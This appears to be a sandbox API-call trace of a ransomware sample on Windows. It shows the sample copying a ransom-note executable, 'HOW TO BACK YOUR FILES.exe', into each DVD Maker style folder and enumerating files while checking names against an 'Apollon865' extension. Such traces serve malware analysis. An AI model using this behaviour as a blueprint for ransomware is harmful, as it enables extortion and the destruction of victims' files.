	[0074.367] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel"
	[0074.367] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.367] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.372] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44672e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44672e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.372] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.372] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png"
	[0074.372] lstrlenW (lpString="16_9-frame-background.png") returned 25
	[0074.372] lstrlenW (lpString="Apollon865") returned 10
	[0074.372] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png"
	[0074.373] lstrlenW (lpString="16_9-frame-highlight.png") returned 24
	[0074.373] lstrlenW (lpString="Apollon865") returned 10
	[0074.373] lstrcmpiW (lpString1="hlight.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="16_9-frame-image-inset.png" | out: lpString1="16_9-frame-image-inset.png") returned="16_9-frame-image-inset.png"
	[0074.373] lstrlenW (lpString="16_9-frame-image-inset.png") returned 26
	[0074.373] lstrlenW (lpString="Apollon865") returned 10
	[0074.373] lstrcmpiW (lpString1="-inset.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png"
	[0074.373] lstrlenW (lpString="btn-back-static.png") returned 19
	[0074.373] lstrlenW (lpString="Apollon865") returned 10
	[0074.373] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png"
	[0074.373] lstrlenW (lpString="btn-next-static.png") returned 19
	[0074.373] lstrlenW (lpString="Apollon865") returned 10
	[0074.373] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png"
	[0074.373] lstrlenW (lpString="btn-previous-static.png") returned 23
	[0074.373] lstrlenW (lpString="Apollon865") returned 10
	[0074.373] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.373] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="button-bullet.png" | out: lpString1="button-bullet.png") returned="button-bullet.png"
	[0074.374] lstrlenW (lpString="button-bullet.png") returned 17
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="bullet.png", lpString2="Apollon865") returned 1
	[0074.374] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png"
	[0074.374] lstrlenW (lpString="button-highlight.png") returned 20
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="hlight.png", lpString2="Apollon865") returned 1
	[0074.374] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="content-background.png" | out: lpString1="content-background.png") returned="content-background.png"
	[0074.374] lstrlenW (lpString="content-background.png") returned 22
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0074.374] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="header-background.png" | out: lpString1="header-background.png") returned="header-background.png"
	[0074.374] lstrlenW (lpString="header-background.png") returned 21
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0074.374] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="passport.png" | out: lpString1="passport.png") returned="passport.png"
	[0074.374] lstrlenW (lpString="passport.png") returned 12
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="ssport.png", lpString2="Apollon865") returned 1
	[0074.374] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Passport.wmv" | out: lpString1="Passport.wmv") returned="Passport.wmv"
	[0074.374] lstrlenW (lpString="Passport.wmv") returned 12
	[0074.374] lstrlenW (lpString="Apollon865") returned 10
	[0074.374] lstrcmpiW (lpString1="ssport.wmv", lpString2="Apollon865") returned 1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="passportcover.png" | out: lpString1="passportcover.png") returned="passportcover.png"
	[0074.375] lstrlenW (lpString="passportcover.png") returned 17
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="tcover.png", lpString2="Apollon865") returned 1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="PassportMask.wmv" | out: lpString1="PassportMask.wmv") returned="PassportMask.wmv"
	[0074.375] lstrlenW (lpString="PassportMask.wmv") returned 16
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="rtMask.wmv", lpString2="Apollon865") returned 1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="PassportMask_PAL.wmv" | out: lpString1="PassportMask_PAL.wmv") returned="PassportMask_PAL.wmv"
	[0074.375] lstrlenW (lpString="PassportMask_PAL.wmv") returned 20
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="sk_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="passport_mask_left.png" | out: lpString1="passport_mask_left.png") returned="passport_mask_left.png"
	[0074.375] lstrlenW (lpString="passport_mask_left.png") returned 22
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="k_left.png", lpString2="Apollon865") returned 1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="passport_mask_right.png" | out: lpString1="passport_mask_right.png") returned="passport_mask_right.png"
	[0074.375] lstrlenW (lpString="passport_mask_right.png") returned 23
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0074.375] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Passport_PAL.wmv" | out: lpString1="Passport_PAL.wmv") returned="Passport_PAL.wmv"
	[0074.375] lstrlenW (lpString="Passport_PAL.wmv") returned 16
	[0074.375] lstrlenW (lpString="Apollon865") returned 10
	[0074.375] lstrcmpiW (lpString1="rt_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="play-background.png" | out: lpString1="play-background.png") returned="play-background.png"
	[0074.376] lstrlenW (lpString="play-background.png") returned 19
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="selection_subpicture.png" | out: lpString1="selection_subpicture.png") returned="selection_subpicture.png"
	[0074.376] lstrlenW (lpString="selection_subpicture.png") returned 24
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="travel.png" | out: lpString1="travel.png") returned="travel.png"
	[0074.376] lstrlenW (lpString="travel.png") returned 10
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TravelIntroToMain.wmv" | out: lpString1="TravelIntroToMain.wmv") returned="TravelIntroToMain.wmv"
	[0074.376] lstrlenW (lpString="TravelIntroToMain.wmv") returned 21
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcmpiW (lpString1="ToMain.wmv", lpString2="Apollon865") returned 1
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TravelIntroToMainMask.wmv" | out: lpString1="TravelIntroToMainMask.wmv") returned="TravelIntroToMainMask.wmv"
	[0074.376] lstrlenW (lpString="TravelIntroToMainMask.wmv") returned 25
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcmpiW (lpString1="inMask.wmv", lpString2="Apollon865") returned 1
	[0074.376] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TravelIntroToMainMask_PAL.wmv" | out: lpString1="TravelIntroToMainMask_PAL.wmv") returned="TravelIntroToMainMask_PAL.wmv"
	[0074.376] lstrlenW (lpString="TravelIntroToMainMask_PAL.wmv") returned 29
	[0074.376] lstrlenW (lpString="Apollon865") returned 10
	[0074.376] lstrcmpiW (lpString1="sk_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.377] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TravelIntroToMain_PAL.wmv" | out: lpString1="TravelIntroToMain_PAL.wmv") returned="TravelIntroToMain_PAL.wmv"
	[0074.377] lstrlenW (lpString="TravelIntroToMain_PAL.wmv") returned 25
	[0074.377] lstrlenW (lpString="Apollon865") returned 10
	[0074.377] lstrcmpiW (lpString1="in_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.377] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking"
	[0074.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0074.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0074.377] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking") returned 52
	[0074.377] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking"
	[0074.377] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.377] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.384] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44672e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44672e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.384] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.384] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.384] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.384] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.384] lstrlenW (lpString="Apollon865") returned 10
	[0074.384] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.384] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png"
	[0074.384] lstrlenW (lpString="1047x576_91n92.png") returned 18
	[0074.384] lstrlenW (lpString="Apollon865") returned 10
	[0074.384] lstrcmpiW (lpString1="_91n92.png", lpString2="Apollon865") returned -1
	[0074.384] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png"
	[0074.384] lstrlenW (lpString="15x15dot.png") returned 12
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="x15dot.png", lpString2="Apollon865") returned 1
	[0074.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png"
	[0074.385] lstrlenW (lpString="720x480icongraphic.png") returned 22
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="720_480shadow.png" | out: lpString1="720_480shadow.png") returned="720_480shadow.png"
	[0074.385] lstrlenW (lpString="720_480shadow.png") returned 17
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="shadow.png", lpString2="Apollon865") returned 1
	[0074.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.385] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.385] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.385] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.385] lstrlenW (lpString="Apollon865") returned 10
	[0074.385] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.386] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.386] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.386] lstrlenW (lpString="Apollon865") returned 10
	[0074.386] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.386] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.386] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.386] lstrlenW (lpString="Apollon865") returned 10
	[0074.386] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.386] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.386] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.386] lstrlenW (lpString="Apollon865") returned 10
	[0074.386] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.386] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="photograph.png" | out: lpString1="photograph.png") returned="photograph.png"
	[0074.386] lstrlenW (lpString="photograph.png") returned 14
	[0074.386] lstrlenW (lpString="Apollon865") returned 10
	[0074.386] lstrcmpiW (lpString1="ograph.png", lpString2="Apollon865") returned 1
	[0074.386] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports"
	[0074.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff88 | out: hHeap=0x580000) returned 1
	[0074.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0074.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports") returned 50
	[0074.386] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports"
	[0074.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.392] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44698ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44698ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.392] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.393] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.393] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="CircleSubpicture.png" | out: lpString1="CircleSubpicture.png") returned="CircleSubpicture.png"
	[0074.393] lstrlenW (lpString="CircleSubpicture.png") returned 20
	[0074.393] lstrlenW (lpString="Apollon865") returned 10
	[0074.393] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.393] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="GoldRing.png" | out: lpString1="GoldRing.png") returned="GoldRing.png"
	[0074.393] lstrlenW (lpString="GoldRing.png") returned 12
	[0074.393] lstrlenW (lpString="Apollon865") returned 10
	[0074.393] lstrcmpiW (lpString1="ldRing.png", lpString2="Apollon865") returned 1
	[0074.393] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="highlight.png" | out: lpString1="highlight.png") returned="highlight.png"
	[0074.393] lstrlenW (lpString="highlight.png") returned 13
	[0074.393] lstrlenW (lpString="Apollon865") returned 10
	[0074.393] lstrcmpiW (lpString1="hlight.png", lpString2="Apollon865") returned 1
	[0074.393] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="NavigationButtonSubpicture.png" | out: lpString1="NavigationButtonSubpicture.png") returned="NavigationButtonSubpicture.png"
	[0074.393] lstrlenW (lpString="NavigationButtonSubpicture.png") returned 30
	[0074.393] lstrlenW (lpString="Apollon865") returned 10
	[0074.393] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.393] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png"
	[0074.393] lstrlenW (lpString="NextMenuButtonIcon.png") returned 22
	[0074.393] lstrlenW (lpString="Apollon865") returned 10
	[0074.393] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png"
	[0074.394] lstrlenW (lpString="ParentMenuButtonIcon.png") returned 24
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png"
	[0074.394] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SceneButtonInset_Alpha1.png" | out: lpString1="SceneButtonInset_Alpha1.png") returned="SceneButtonInset_Alpha1.png"
	[0074.394] lstrlenW (lpString="SceneButtonInset_Alpha1.png") returned 27
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="Alpha1.png", lpString2="Apollon865") returned -1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SceneButtonInset_Alpha2.png" | out: lpString1="SceneButtonInset_Alpha2.png") returned="SceneButtonInset_Alpha2.png"
	[0074.394] lstrlenW (lpString="SceneButtonInset_Alpha2.png") returned 27
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="Alpha2.png", lpString2="Apollon865") returned -1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SceneButtonSubpicture.png" | out: lpString1="SceneButtonSubpicture.png") returned="SceneButtonSubpicture.png"
	[0074.394] lstrlenW (lpString="SceneButtonSubpicture.png") returned 25
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.394] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainBackground.wmv" | out: lpString1="SportsMainBackground.wmv") returned="SportsMainBackground.wmv"
	[0074.394] lstrlenW (lpString="SportsMainBackground.wmv") returned 24
	[0074.394] lstrlenW (lpString="Apollon865") returned 10
	[0074.394] lstrcmpiW (lpString1="ground.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainBackground_PAL.wmv" | out: lpString1="SportsMainBackground_PAL.wmv") returned="SportsMainBackground_PAL.wmv"
	[0074.395] lstrlenW (lpString="SportsMainBackground_PAL.wmv") returned 28
	[0074.395] lstrlenW (lpString="Apollon865") returned 10
	[0074.395] lstrcmpiW (lpString1="nd_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainToNotesBackground.wmv" | out: lpString1="SportsMainToNotesBackground.wmv") returned="SportsMainToNotesBackground.wmv"
	[0074.395] lstrlenW (lpString="SportsMainToNotesBackground.wmv") returned 31
	[0074.395] lstrlenW (lpString="Apollon865") returned 10
	[0074.395] lstrcmpiW (lpString1="ground.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainToNotesBackground_PAL.wmv" | out: lpString1="SportsMainToNotesBackground_PAL.wmv") returned="SportsMainToNotesBackground_PAL.wmv"
	[0074.395] lstrlenW (lpString="SportsMainToNotesBackground_PAL.wmv") returned 35
	[0074.395] lstrlenW (lpString="Apollon865") returned 10
	[0074.395] lstrcmpiW (lpString1="nd_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainToScenesBackground.wmv" | out: lpString1="SportsMainToScenesBackground.wmv") returned="SportsMainToScenesBackground.wmv"
	[0074.395] lstrlenW (lpString="SportsMainToScenesBackground.wmv") returned 32
	[0074.395] lstrlenW (lpString="Apollon865") returned 10
	[0074.395] lstrcmpiW (lpString1="ground.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsMainToScenesBackground_PAL.wmv" | out: lpString1="SportsMainToScenesBackground_PAL.wmv") returned="SportsMainToScenesBackground_PAL.wmv"
	[0074.395] lstrlenW (lpString="SportsMainToScenesBackground_PAL.wmv") returned 36
	[0074.395] lstrlenW (lpString="Apollon865") returned 10
	[0074.395] lstrcmpiW (lpString1="nd_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.395] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsNotesBackground.wmv" | out: lpString1="SportsNotesBackground.wmv") returned="SportsNotesBackground.wmv"
	[0074.395] lstrlenW (lpString="SportsNotesBackground.wmv") returned 25
	[0074.396] lstrlenW (lpString="Apollon865") returned 10
	[0074.396] lstrcmpiW (lpString1="ground.wmv", lpString2="Apollon865") returned 1
	[0074.396] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsNotesBackground_PAL.wmv" | out: lpString1="SportsNotesBackground_PAL.wmv") returned="SportsNotesBackground_PAL.wmv"
	[0074.396] lstrlenW (lpString="SportsNotesBackground_PAL.wmv") returned 29
	[0074.396] lstrlenW (lpString="Apollon865") returned 10
	[0074.396] lstrcmpiW (lpString1="nd_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.396] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsScenesBackground.wmv" | out: lpString1="SportsScenesBackground.wmv") returned="SportsScenesBackground.wmv"
	[0074.396] lstrlenW (lpString="SportsScenesBackground.wmv") returned 26
	[0074.396] lstrlenW (lpString="Apollon865") returned 10
	[0074.396] lstrcmpiW (lpString1="ground.wmv", lpString2="Apollon865") returned 1
	[0074.396] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SportsScenesBackground_PAL.wmv" | out: lpString1="SportsScenesBackground_PAL.wmv") returned="SportsScenesBackground_PAL.wmv"
	[0074.396] lstrlenW (lpString="SportsScenesBackground_PAL.wmv") returned 30
	[0074.396] lstrlenW (lpString="Apollon865") returned 10
	[0074.396] lstrcmpiW (lpString1="nd_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.396] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="sports_disc_mask.png" | out: lpString1="sports_disc_mask.png") returned="sports_disc_mask.png"
	[0074.396] lstrlenW (lpString="sports_disc_mask.png") returned 20
	[0074.396] lstrlenW (lpString="Apollon865") returned 10
	[0074.396] lstrcmpiW (lpString1="c_mask.png", lpString2="Apollon865") returned 1
